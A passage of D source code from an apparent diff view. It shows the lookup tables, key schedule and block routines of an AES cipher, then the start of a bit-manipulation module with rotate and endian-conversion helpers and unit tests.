0x6cu, 0x70u, 0x48u, 0x50u, 0xfdu, 0xedu, 0xb9u, 0xdau,
0x5eu, 0x15u, 0x46u, 0x57u, 0xa7u, 0x8du, 0x9du, 0x84u,
0x90u, 0xd8u, 0xabu, 0x00u, 0x8cu, 0xbcu, 0xd3u, 0x0au,
0xf7u, 0xe4u, 0x58u, 0x05u, 0xb8u, 0xb3u, 0x45u, 0x06u,
0xd0u, 0x2cu, 0x1eu, 0x8fu, 0xcau, 0x3fu, 0x0fu, 0x02u,
0xc1u, 0xafu, 0xbdu, 0x03u, 0x01u, 0x13u, 0x8au, 0x6bu,
0x3au, 0x91u, 0x11u, 0x41u, 0x4fu, 0x67u, 0xdcu, 0xeau,
0x97u, 0xf2u, 0xcfu, 0xceu, 0xf0u, 0xb4u, 0xe6u, 0x73u,
0x96u, 0xacu, 0x74u, 0x22u, 0xe7u, 0xadu, 0x35u, 0x85u,
0xe2u, 0xf9u, 0x37u, 0xe8u, 0x1cu, 0x75u, 0xdfu, 0x6eu,
0x47u, 0xf1u, 0x1au, 0x71u, 0x1du, 0x29u, 0xc5u, 0x89u,
0x6fu, 0xb7u, 0x62u, 0x0eu, 0xaau, 0x18u, 0xbeu, 0x1bu,
0xfcu, 0x56u, 0x3eu, 0x4bu, 0xc6u, 0xd2u, 0x79u, 0x20u,
0x9au, 0xdbu, 0xc0u, 0xfeu, 0x78u, 0xcdu, 0x5au, 0xf4u,
0x1fu, 0xddu, 0xa8u, 0x33u, 0x88u, 0x07u, 0xc7u, 0x31u,
0xb1u, 0x12u, 0x10u, 0x59u, 0x27u, 0x80u, 0xecu, 0x5fu,
0x60u, 0x51u, 0x7fu, 0xa9u, 0x19u, 0xb5u, 0x4au, 0x0du,
0x2du, 0xe5u, 0x7au, 0x9fu, 0x93u, 0xc9u, 0x9cu, 0xefu,
0xa0u, 0xe0u, 0x3bu, 0x4du, 0xaeu, 0x2au, 0xf5u, 0xb0u,
0xc8u, 0xebu, 0xbbu, 0x3cu, 0x83u, 0x53u, 0x99u, 0x61u,
0x17u, 0x2bu, 0x04u, 0x7eu, 0xbau, 0x77u, 0xd6u, 0x26u,
0xe1u, 0x69u, 0x14u, 0x63u, 0x55u, 0x21u, 0x0cu, 0x7du
];
// Round constants
static immutable uint[30] rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91
];
// precomputation tables of calculations for rounds
static immutable uint[256] T0 =
[
0xa56363c6u, 0x847c7cf8u, 0x997777eeu, 0x8d7b7bf6u, 0x0df2f2ffu,
0xbd6b6bd6u, 0xb16f6fdeu, 0x54c5c591u, 0x50303060u, 0x03010102u,
0xa96767ceu, 0x7d2b2b56u, 0x19fefee7u, 0x62d7d7b5u, 0xe6abab4du,
0x9a7676ecu, 0x45caca8fu, 0x9d82821fu, 0x40c9c989u, 0x877d7dfau,
0x15fafaefu, 0xeb5959b2u, 0xc947478eu, 0x0bf0f0fbu, 0xecadad41u,
0x67d4d4b3u, 0xfda2a25fu, 0xeaafaf45u, 0xbf9c9c23u, 0xf7a4a453u,
0x967272e4u, 0x5bc0c09bu, 0xc2b7b775u, 0x1cfdfde1u, 0xae93933du,
0x6a26264cu, 0x5a36366cu, 0x413f3f7eu, 0x02f7f7f5u, 0x4fcccc83u,
0x5c343468u, 0xf4a5a551u, 0x34e5e5d1u, 0x08f1f1f9u, 0x937171e2u,
0x73d8d8abu, 0x53313162u, 0x3f15152au, 0x0c040408u, 0x52c7c795u,
0x65232346u, 0x5ec3c39du, 0x28181830u, 0xa1969637u, 0x0f05050au,
0xb59a9a2fu, 0x0907070eu, 0x36121224u, 0x9b80801bu, 0x3de2e2dfu,
0x26ebebcdu, 0x6927274eu, 0xcdb2b27fu, 0x9f7575eau, 0x1b090912u,
0x9e83831du, 0x742c2c58u, 0x2e1a1a34u, 0x2d1b1b36u, 0xb26e6edcu,
0xee5a5ab4u, 0xfba0a05bu, 0xf65252a4u, 0x4d3b3b76u, 0x61d6d6b7u,
0xceb3b37du, 0x7b292952u, 0x3ee3e3ddu, 0x712f2f5eu, 0x97848413u,
0xf55353a6u, 0x68d1d1b9u, 0x00000000u, 0x2cededc1u, 0x60202040u,
0x1ffcfce3u, 0xc8b1b179u, 0xed5b5bb6u, 0xbe6a6ad4u, 0x46cbcb8du,
0xd9bebe67u, 0x4b393972u, 0xde4a4a94u, 0xd44c4c98u, 0xe85858b0u,
0x4acfcf85u, 0x6bd0d0bbu, 0x2aefefc5u, 0xe5aaaa4fu, 0x16fbfbedu,
0xc5434386u, 0xd74d4d9au, 0x55333366u, 0x94858511u, 0xcf45458au,
0x10f9f9e9u, 0x06020204u, 0x817f7ffeu, 0xf05050a0u, 0x443c3c78u,
0xba9f9f25u, 0xe3a8a84bu, 0xf35151a2u, 0xfea3a35du, 0xc0404080u,
0x8a8f8f05u, 0xad92923fu, 0xbc9d9d21u, 0x48383870u, 0x04f5f5f1u,
0xdfbcbc63u, 0xc1b6b677u, 0x75dadaafu, 0x63212142u, 0x30101020u,
0x1affffe5u, 0x0ef3f3fdu, 0x6dd2d2bfu, 0x4ccdcd81u, 0x140c0c18u,
0x35131326u, 0x2fececc3u, 0xe15f5fbeu, 0xa2979735u, 0xcc444488u,
0x3917172eu, 0x57c4c493u, 0xf2a7a755u, 0x827e7efcu, 0x473d3d7au,
0xac6464c8u, 0xe75d5dbau, 0x2b191932u, 0x957373e6u, 0xa06060c0u,
0x98818119u, 0xd14f4f9eu, 0x7fdcdca3u, 0x66222244u, 0x7e2a2a54u,
0xab90903bu, 0x8388880bu, 0xca46468cu, 0x29eeeec7u, 0xd3b8b86bu,
0x3c141428u, 0x79dedea7u, 0xe25e5ebcu, 0x1d0b0b16u, 0x76dbdbadu,
0x3be0e0dbu, 0x56323264u, 0x4e3a3a74u, 0x1e0a0a14u, 0xdb494992u,
0x0a06060cu, 0x6c242448u, 0xe45c5cb8u, 0x5dc2c29fu, 0x6ed3d3bdu,
0xefacac43u, 0xa66262c4u, 0xa8919139u, 0xa4959531u, 0x37e4e4d3u,
0x8b7979f2u, 0x32e7e7d5u, 0x43c8c88bu, 0x5937376eu, 0xb76d6ddau,
0x8c8d8d01u, 0x64d5d5b1u, 0xd24e4e9cu, 0xe0a9a949u, 0xb46c6cd8u,
0xfa5656acu, 0x07f4f4f3u, 0x25eaeacfu, 0xaf6565cau, 0x8e7a7af4u,
0xe9aeae47u, 0x18080810u, 0xd5baba6fu, 0x887878f0u, 0x6f25254au,
0x722e2e5cu, 0x241c1c38u, 0xf1a6a657u, 0xc7b4b473u, 0x51c6c697u,
0x23e8e8cbu, 0x7cdddda1u, 0x9c7474e8u, 0x211f1f3eu, 0xdd4b4b96u,
0xdcbdbd61u, 0x868b8b0du, 0x858a8a0fu, 0x907070e0u, 0x423e3e7cu,
0xc4b5b571u, 0xaa6666ccu, 0xd8484890u, 0x05030306u, 0x01f6f6f7u,
0x120e0e1cu, 0xa36161c2u, 0x5f35356au, 0xf95757aeu, 0xd0b9b969u,
0x91868617u, 0x58c1c199u, 0x271d1d3au, 0xb99e9e27u, 0x38e1e1d9u,
0x13f8f8ebu, 0xb398982bu, 0x33111122u, 0xbb6969d2u, 0x70d9d9a9u,
0x898e8e07u, 0xa7949433u, 0xb69b9b2du, 0x221e1e3cu, 0x92878715u,
0x20e9e9c9u, 0x49cece87u, 0xff5555aau, 0x78282850u, 0x7adfdfa5u,
0x8f8c8c03u, 0xf8a1a159u, 0x80898909u, 0x170d0d1au, 0xdabfbf65u,
0x31e6e6d7u, 0xc6424284u, 0xb86868d0u, 0xc3414182u, 0xb0999929u,
0x772d2d5au, 0x110f0f1eu, 0xcbb0b07bu, 0xfc5454a8u, 0xd6bbbb6du,
0x3a16162cu];
static immutable uint[256] Tinv0 =
[
0x50a7f451u, 0x5365417eu, 0xc3a4171au, 0x965e273au, 0xcb6bab3bu,
0xf1459d1fu, 0xab58faacu, 0x9303e34bu, 0x55fa3020u, 0xf66d76adu,
0x9176cc88u, 0x254c02f5u, 0xfcd7e54fu, 0xd7cb2ac5u, 0x80443526u,
0x8fa362b5u, 0x495ab1deu, 0x671bba25u, 0x980eea45u, 0xe1c0fe5du,
0x02752fc3u, 0x12f04c81u, 0xa397468du, 0xc6f9d36bu, 0xe75f8f03u,
0x959c9215u, 0xeb7a6dbfu, 0xda595295u, 0x2d83bed4u, 0xd3217458u,
0x2969e049u, 0x44c8c98eu, 0x6a89c275u, 0x78798ef4u, 0x6b3e5899u,
0xdd71b927u, 0xb64fe1beu, 0x17ad88f0u, 0x66ac20c9u, 0xb43ace7du,
0x184adf63u, 0x82311ae5u, 0x60335197u, 0x457f5362u, 0xe07764b1u,
0x84ae6bbbu, 0x1ca081feu, 0x942b08f9u, 0x58684870u, 0x19fd458fu,
0x876cde94u, 0xb7f87b52u, 0x23d373abu, 0xe2024b72u, 0x578f1fe3u,
0x2aab5566u, 0x0728ebb2u, 0x03c2b52fu, 0x9a7bc586u, 0xa50837d3u,
0xf2872830u, 0xb2a5bf23u, 0xba6a0302u, 0x5c8216edu, 0x2b1ccf8au,
0x92b479a7u, 0xf0f207f3u, 0xa1e2694eu, 0xcdf4da65u, 0xd5be0506u,
0x1f6234d1u, 0x8afea6c4u, 0x9d532e34u, 0xa055f3a2u, 0x32e18a05u,
0x75ebf6a4u, 0x39ec830bu, 0xaaef6040u, 0x069f715eu, 0x51106ebdu,
0xf98a213eu, 0x3d06dd96u, 0xae053eddu, 0x46bde64du, 0xb58d5491u,
0x055dc471u, 0x6fd40604u, 0xff155060u, 0x24fb9819u, 0x97e9bdd6u,
0xcc434089u, 0x779ed967u, 0xbd42e8b0u, 0x888b8907u, 0x385b19e7u,
0xdbeec879u, 0x470a7ca1u, 0xe90f427cu, 0xc91e84f8u, 0x00000000u,
0x83868009u, 0x48ed2b32u, 0xac70111eu, 0x4e725a6cu, 0xfbff0efdu,
0x5638850fu, 0x1ed5ae3du, 0x27392d36u, 0x64d90f0au, 0x21a65c68u,
0xd1545b9bu, 0x3a2e3624u, 0xb1670a0cu, 0x0fe75793u, 0xd296eeb4u,
0x9e919b1bu, 0x4fc5c080u, 0xa220dc61u, 0x694b775au, 0x161a121cu,
0x0aba93e2u, 0xe52aa0c0u, 0x43e0223cu, 0x1d171b12u, 0x0b0d090eu,
0xadc78bf2u, 0xb9a8b62du, 0xc8a91e14u, 0x8519f157u, 0x4c0775afu,
0xbbdd99eeu, 0xfd607fa3u, 0x9f2601f7u, 0xbcf5725cu, 0xc53b6644u,
0x347efb5bu, 0x7629438bu, 0xdcc623cbu, 0x68fcedb6u, 0x63f1e4b8u,
0xcadc31d7u, 0x10856342u, 0x40229713u, 0x2011c684u, 0x7d244a85u,
0xf83dbbd2u, 0x1132f9aeu, 0x6da129c7u, 0x4b2f9e1du, 0xf330b2dcu,
0xec52860du, 0xd0e3c177u, 0x6c16b32bu, 0x99b970a9u, 0xfa489411u,
0x2264e947u, 0xc48cfca8u, 0x1a3ff0a0u, 0xd82c7d56u, 0xef903322u,
0xc74e4987u, 0xc1d138d9u, 0xfea2ca8cu, 0x360bd498u, 0xcf81f5a6u,
0x28de7aa5u, 0x268eb7dau, 0xa4bfad3fu, 0xe49d3a2cu, 0x0d927850u,
0x9bcc5f6au, 0x62467e54u, 0xc2138df6u, 0xe8b8d890u, 0x5ef7392eu,
0xf5afc382u, 0xbe805d9fu, 0x7c93d069u, 0xa92dd56fu, 0xb31225cfu,
0x3b99acc8u, 0xa77d1810u, 0x6e639ce8u, 0x7bbb3bdbu, 0x097826cdu,
0xf418596eu, 0x01b79aecu, 0xa89a4f83u, 0x656e95e6u, 0x7ee6ffaau,
0x08cfbc21u, 0xe6e815efu, 0xd99be7bau, 0xce366f4au, 0xd4099feau,
0xd67cb029u, 0xafb2a431u, 0x31233f2au, 0x3094a5c6u, 0xc066a235u,
0x37bc4e74u, 0xa6ca82fcu, 0xb0d090e0u, 0x15d8a733u, 0x4a9804f1u,
0xf7daec41u, 0x0e50cd7fu, 0x2ff69117u, 0x8dd64d76u, 0x4db0ef43u,
0x544daaccu, 0xdf0496e4u, 0xe3b5d19eu, 0x1b886a4cu, 0xb81f2cc1u,
0x7f516546u, 0x04ea5e9du, 0x5d358c01u, 0x737487fau, 0x2e410bfbu,
0x5a1d67b3u, 0x52d2db92u, 0x335610e9u, 0x1347d66du, 0x8c61d79au,
0x7a0ca137u, 0x8e14f859u, 0x893c13ebu, 0xee27a9ceu, 0x35c961b7u,
0xede51ce1u, 0x3cb1477au, 0x59dfd29cu, 0x3f73f255u, 0x79ce1418u,
0xbf37c773u, 0xeacdf753u, 0x5baafd5fu, 0x146f3ddfu, 0x86db4478u,
0x81f3afcau, 0x3ec468b9u, 0x2c342438u, 0x5f40a3c2u, 0x72c31d16u,
0x0c25e2bcu, 0x8b493c28u, 0x41950dffu, 0x7101a839u, 0xdeb30c08u,
0x9ce4b4d8u, 0x90c15664u, 0x6184cb7bu, 0x70b632d5u, 0x745c6c48u,
0x4257b8d0u];
private enum uint m1 = 0x80808080, m2 = 0x7f7f7f7f, m3 = 0x0000001b;;
@safe
@nogc
private static uint FFmulX(uint x) nothrow
{
return (((x & m2) << 1) ^ (((x & m1) >>> 7) * m3));
}
@safe
@nogc
private static uint inv_mcol(uint x) nothrow
{
uint f2 = FFmulX(x);
uint f4 = FFmulX(f2);
uint f8 = FFmulX(f4);
uint f9 = x ^ f8;
return f2 ^ f4 ^ f8 ^ rotateRight(f2 ^ f9, 8) ^ rotateRight(f4 ^ f9, 16) ^ rotateRight(f9, 24);
}
@safe
@nogc
private static uint subWord(uint x) nothrow
{
return (S[x&255] | ((S[(x>>8)&255])<<8) | ((S[(x>>16)&255])<<16) | S[(x>>24)&255]<<24);
}
/**
* Calculate the necessary round keys
* The number of calculations depends on key size and block size
* AES specified a fixed block size of 128 bits and key sizes 128/192/256 bits
* This code is written assuming those are the only possible values
*/
private void generateWorkingKey(in ubyte[] key) nothrow @nogc
in {
size_t len = key.length;
assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)");
}
body {
uint KC = cast(uint)key.length / 4; // key length in words
uint t;
ROUNDS = KC + 6; // This is not always true for the generalized Rijndael that allows larger block sizes
//uint[][] W = new uint[][](ROUNDS+1,4); // 4 words in a block
alias workingKey W;
//
// copy the key into the round key array
//
t = 0;
uint i = 0;
while (i < key.length)
{
W[t >> 2][t & 3] = (key[i]&0xff) | ((key[i+1]&0xff) << 8) | ((key[i+2]&0xff) << 16) | (key[i+3] << 24);
i+=4;
t++;
}
//
// while not enough round key material calculated
// calculate new values
//
uint k = (ROUNDS + 1) << 2;
for (i = KC; (i < k); i++)
{
int temp = W[(i-1)>>2][(i-1)&3];
if ((i % KC) == 0)
{
temp = subWord(rotateRight(temp, 8)) ^ rcon[(i / KC)-1];
}
else if ((KC > 6) && ((i % KC) == 4))
{
temp = subWord(temp);
}
W[i>>2][i&3] = W[(i - KC)>>2][(i-KC)&3] ^ temp;
}
if (!this.state)
{
for (int j = 1; j < ROUNDS; j++)
{
for (i = 0; i < 4; i++)
{
W[j][i] = inv_mcol(W[j][i]);
}
}
}
}
@safe
@nogc
private void unpackBlock(in ubyte[] bytes) nothrow
in {
assert(bytes.length == 16, "invalid input length ");
}
body {
C0 = (bytes[0]);
C0 |= (bytes[1]) << 8;
C0 |= (bytes[2]) << 16;
C0 |= bytes[3] << 24;
C1 = (bytes[4]);
C1 |= (bytes[5]) << 8;
C1 |= (bytes[6]) << 16;
C1 |= bytes[7] << 24;
C2 = (bytes[8]);
C2 |= (bytes[9]) << 8;
C2 |= (bytes[10]) << 16;
C2 |= bytes[11] << 24;
C3 = (bytes[12]);
C3 |= (bytes[13]) << 8;
C3 |= (bytes[14]) << 16;
C3 |= bytes[15] << 24;
}
@safe
@nogc
private void packBlock(ubyte[] bytes) nothrow
{
bytes[0] = cast(ubyte)C0;
bytes[1] = cast(ubyte)(C0 >> 8);
bytes[2] = cast(ubyte)(C0 >> 16);
bytes[3] = cast(ubyte)(C0 >> 24);
bytes[4] = cast(ubyte)C1;
bytes[5] = cast(ubyte)(C1 >> 8);
bytes[6] = cast(ubyte)(C1 >> 16);
bytes[7] = cast(ubyte)(C1 >> 24);
bytes[8] = cast(ubyte)C2;
bytes[9] = cast(ubyte)(C2 >> 8);
bytes[10] = cast(ubyte)(C2 >> 16);
bytes[11] = cast(ubyte)(C2 >> 24);
bytes[12] = cast(ubyte)C3;
bytes[13] = cast(ubyte)(C3 >> 8);
bytes[14] = cast(ubyte)(C3 >> 16);
bytes[15] = cast(ubyte)(C3 >> 24);
}
@safe
@nogc
private void encryptBlock() nothrow
{
alias workingKey wk;
uint r, r0, r1, r2, r3;
C0 ^= wk[0][0];
C1 ^= wk[0][1];
C2 ^= wk[0][2];
C3 ^= wk[0][3];
r = 1;
while (r < ROUNDS - 1)
{
r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255],16) ^ rotateRight(T0[(C3>>24)&255],8) ^ wk[r][0];
r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1];
r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2];
r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3];
C0 = T0[r0&255] ^ rotateRight(T0[(r1>>8)&255], 24) ^ rotateRight(T0[(r2>>16)&255], 16) ^ rotateRight(T0[(r3>>24)&255], 8) ^ wk[r][0];
C1 = T0[r1&255] ^ rotateRight(T0[(r2>>8)&255], 24) ^ rotateRight(T0[(r3>>16)&255], 16) ^ rotateRight(T0[(r0>>24)&255], 8) ^ wk[r][1];
C2 = T0[r2&255] ^ rotateRight(T0[(r3>>8)&255], 24) ^ rotateRight(T0[(r0>>16)&255], 16) ^ rotateRight(T0[(r1>>24)&255], 8) ^ wk[r][2];
C3 = T0[r3&255] ^ rotateRight(T0[(r0>>8)&255], 24) ^ rotateRight(T0[(r1>>16)&255], 16) ^ rotateRight(T0[(r2>>24)&255], 8) ^ wk[r++][3];
}
r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255], 16) ^ rotateRight(T0[(C3>>24)&255], 8) ^ wk[r][0];
r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1];
r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2];
r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3];
// the final round's table is a simple function of S so we don't use a whole other four tables for it
C0 = (S[r0&255]) ^ ((S[(r1>>8)&255])<<8) ^ ((S[(r2>>16)&255])<<16) ^ (S[(r3>>24)&255]<<24) ^ wk[r][0];
C1 = (S[r1&255]) ^ ((S[(r2>>8)&255])<<8) ^ ((S[(r3>>16)&255])<<16) ^ (S[(r0>>24)&255]<<24) ^ wk[r][1];
C2 = (S[r2&255]) ^ ((S[(r3>>8)&255])<<8) ^ ((S[(r0>>16)&255])<<16) ^ (S[(r1>>24)&255]<<24) ^ wk[r][2];
C3 = (S[r3&255]) ^ ((S[(r0>>8)&255])<<8) ^ ((S[(r1>>16)&255])<<16) ^ (S[(r2>>24)&255]<<24) ^ wk[r][3];
}
@safe @nogc
private void decryptBlock() nothrow
{
alias workingKey wk;
uint r, r0, r1, r2, r3;
C0 ^= wk[ROUNDS][0];
C1 ^= wk[ROUNDS][1];
C2 ^= wk[ROUNDS][2];
C3 ^= wk[ROUNDS][3];
r = ROUNDS-1;
while (r>1)
{
r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0];
r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1];
r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2];
r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r--][3];
C0 = Tinv0[r0&255] ^ rotateRight(Tinv0[(r3>>8)&255], 24) ^ rotateRight(Tinv0[(r2>>16)&255], 16) ^ rotateRight(Tinv0[(r1>>24)&255], 8) ^ wk[r][0];
C1 = Tinv0[r1&255] ^ rotateRight(Tinv0[(r0>>8)&255], 24) ^ rotateRight(Tinv0[(r3>>16)&255], 16) ^ rotateRight(Tinv0[(r2>>24)&255], 8) ^ wk[r][1];
C2 = Tinv0[r2&255] ^ rotateRight(Tinv0[(r1>>8)&255], 24) ^ rotateRight(Tinv0[(r0>>16)&255], 16) ^ rotateRight(Tinv0[(r3>>24)&255], 8) ^ wk[r][2];
C3 = Tinv0[r3&255] ^ rotateRight(Tinv0[(r2>>8)&255], 24) ^ rotateRight(Tinv0[(r1>>16)&255], 16) ^ rotateRight(Tinv0[(r0>>24)&255], 8) ^ wk[r--][3];
}
r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0];
r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1];
r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2];
r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r][3];
// the final round's table is a simple function of Si so we don't use a whole other four tables for it
C0 = (Si[r0&255]) ^ ((Si[(r3>>8)&255])<<8) ^ ((Si[(r2>>16)&255])<<16) ^ (Si[(r1>>24)&255]<<24) ^ wk[0][0];
C1 = (Si[r1&255]) ^ ((Si[(r0>>8)&255])<<8) ^ ((Si[(r3>>16)&255])<<16) ^ (Si[(r2>>24)&255]<<24) ^ wk[0][1];
C2 = (Si[r2&255]) ^ ((Si[(r1>>8)&255])<<8) ^ ((Si[(r0>>16)&255])<<16) ^ (Si[(r3>>24)&255]<<24) ^ wk[0][2];
C3 = (Si[r3&255]) ^ ((Si[(r2>>8)&255])<<8) ^ ((Si[(r1>>16)&255])<<16) ^ (Si[(r0>>24)&255]<<24) ^ wk[0][3];
}
}

View File

@@ -0,0 +1,416 @@
module angel.utils.cryptography.bitmanip;
import std.traits;
///
/// This module contains several methods to convert integer types into byte arrays
/// and vice versa.
///
///
alias rotateLeft rol;
alias rotateRight ror;
/// rot shift to the left
/// Params:
/// x = integer to shift
/// shiftAmount = number of bits to shift
@safe
@nogc
T rotateLeft(T)(T x, uint shiftAmount) pure nothrow
{
enum nbits = T.sizeof*8;
//shiftAmount %= nbits;
return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount));
}
/// test rotateLeft
unittest {
ubyte b0 = 0b10000001;
ubyte b1 = 0b00000011;
ubyte b2 = 0b00000110;
ubyte b7 = 0b11000000;
assert(rotateLeft(b0,0) == b0);
assert(rotateLeft(b0,1) == b1);
assert(rotateLeft(b0,2) == b2);
assert(rotateLeft(b0,7) == b7);
assert(rotateLeft(b0,8) == b0);
}
/// rot shift to the right
/// Params:
/// x = integer to shift
/// shiftAmount = number of bits to shift
@safe
@nogc
T rotateRight(T)(T x, uint shiftAmount) pure nothrow
{
enum nbits = T.sizeof*8;
//shiftAmount %= nbits;
return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount)));
}
/// test rotateRight
unittest {
ubyte b0 = 0b00000101;
ubyte b1 = 0b10000010;
ubyte b2 = 0b01000001;
ubyte b7 = 0b00001010;
assert(rotateRight(b0,0) == b0);
assert(rotateRight(b0,1) == b1);
assert(rotateRight(b0,2) == b2);
assert(rotateRight(b0,7) == b7);
assert(rotateRight(b0,8) == b0);
}
/**
Converts big endian bytes to integral of type T
Params: bs = the big endian bytes
Returns: integral of type T
*/
@safe @nogc
T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T)
in {
assert(bs.length >= T.sizeof, "input buffer too short");
}
body {
version(BigEndian) {
// data is already in memory as we want
return (cast(const T[])bs)[0];
}else {
Unqual!T n = 0;
static if (T.sizeof >= short.sizeof) {
n |= bs[0];
n <<= 8;
n |= bs[1];
}
static if (T.sizeof >= int.sizeof) {
n <<= 8;
n |= bs[2];
n <<= 8;
n |= bs[3];
}
static if (T.sizeof == long.sizeof) {
n <<= 8;
n |= bs[4];
n <<= 8;
n |= bs[5];
n <<= 8;
n |= bs[6];
n <<= 8;
n |= bs[7];
}
return n;
}
}
/**
Converts little endian bytes to integral of type T
Params: bs = the little endian bytes
Returns: integral of type T
*/
@safe @nogc
T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T)
in {
assert(bs.length >= T.sizeof, "input buffer too short");
}
body {
version(LittleEndian) {
// data is already in memory as we want
return (cast(const T[])bs)[0];
}else {
Unqual!T n = 0;
static if (T.sizeof >= short.sizeof) {
n |= bs[0];
n |= cast(T)bs[1] << 8;
}
static if (T.sizeof >= int.sizeof) {
n |= cast(T)bs[2] << 16;
n |= cast(T)bs[3] << 24;
}
static if (T.sizeof == long.sizeof) {
n |= cast(T)bs[4] << 32;
n |= cast(T)bs[5] << 40;
n |= cast(T)bs[6] << 48;
n |= cast(T)bs[7] << 56;
}
return n;
}
}
/**
Converts big endian bytes to integrals of type T
size of bs has to match the size in bytes of output
Params:
bs = the big endian bytes
output = where the T's get written to
*/
@safe @nogc
void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
in {
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
}
body {
version(BigEndian) {
// short cut on big endian systems
const T[] casted = cast(const T[]) bs;
output[] = casted[];
} else {
// for little endian systems
enum s = T.sizeof;
foreach (i; 0 .. output.length)
{
output[i] = fromBigEndian!T(bs[s*i .. s*i+s]);
}
}
}
/**
Converts little endian bytes to integrals of type T
size of bs has to match the size in bytes of output
Params:
bs = the little endian bytes
output = where the T's get written to
*/
@safe @nogc
void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
in {
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
}
body {
version(LittleEndian) {
// short cut on little endian systems
const T[] casted = cast(const T[]) bs;
output[] = casted[];
} else {
// for big endian systems
enum s = T.sizeof;
foreach (i; 0 .. output.length)
{
output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]);
}
}
}
/**
convert a integral type T into an array of bytes.
Params:
n = the number
output = the buffer to write the bytes to
*/
@safe @nogc
void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof, "output buffer too small");
}
body {
Unqual!T n = val;
uint off = 0;
static if(T.sizeof == long.sizeof) {
output[off] = cast (ubyte) (n >>> 56);
++off;
output[off] = cast (ubyte) (n >>> 48);
++off;
output[off] = cast (ubyte) (n >>> 40);
++off;
output[off] = cast (ubyte) (n >>> 32);
++off;
}
static if(T.sizeof >= int.sizeof) {
output[off] = cast (ubyte) (n >>> 24);
++off;
output[off] = cast (ubyte) (n >>> 16);
++off;
}
static if(T.sizeof >= short.sizeof) {
output[off] = cast (ubyte) (n >>> 8);
++off;
}
output[off] = cast (ubyte) (n);
}
/**
convert a integral type T into an array of bytes.
Params:
n = the number
output = the buffer to write the bytes to
*/
@safe @nogc
void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
in {
assert(output.length >= T.sizeof, "output buffer too small");
}
body {
Unqual!T n = val;
output[0] = cast (ubyte) (n);
n >>>= 8;
static if(T.sizeof >= short.sizeof) {
output[1] = cast (ubyte) (n);
n >>>= 8;
}
static if(T.sizeof >= int.sizeof) {
output[2] = cast (ubyte) (n);
n >>>= 8;
output[3] = cast (ubyte) (n);
n >>>= 8;
}
static if(T.sizeof == long.sizeof) {
output[4] = cast (ubyte) (n);
n >>>= 8;
output[5] = cast (ubyte) (n);
n >>>= 8;
output[6] = cast (ubyte) (n);
n >>>= 8;
output[7] = cast (ubyte) (n);
}
}
/**
convert a integral type T[] into an array of bytes.
Params:
ns = the numbers
output = the buffer to write the bytes to
*/
@safe @nogc
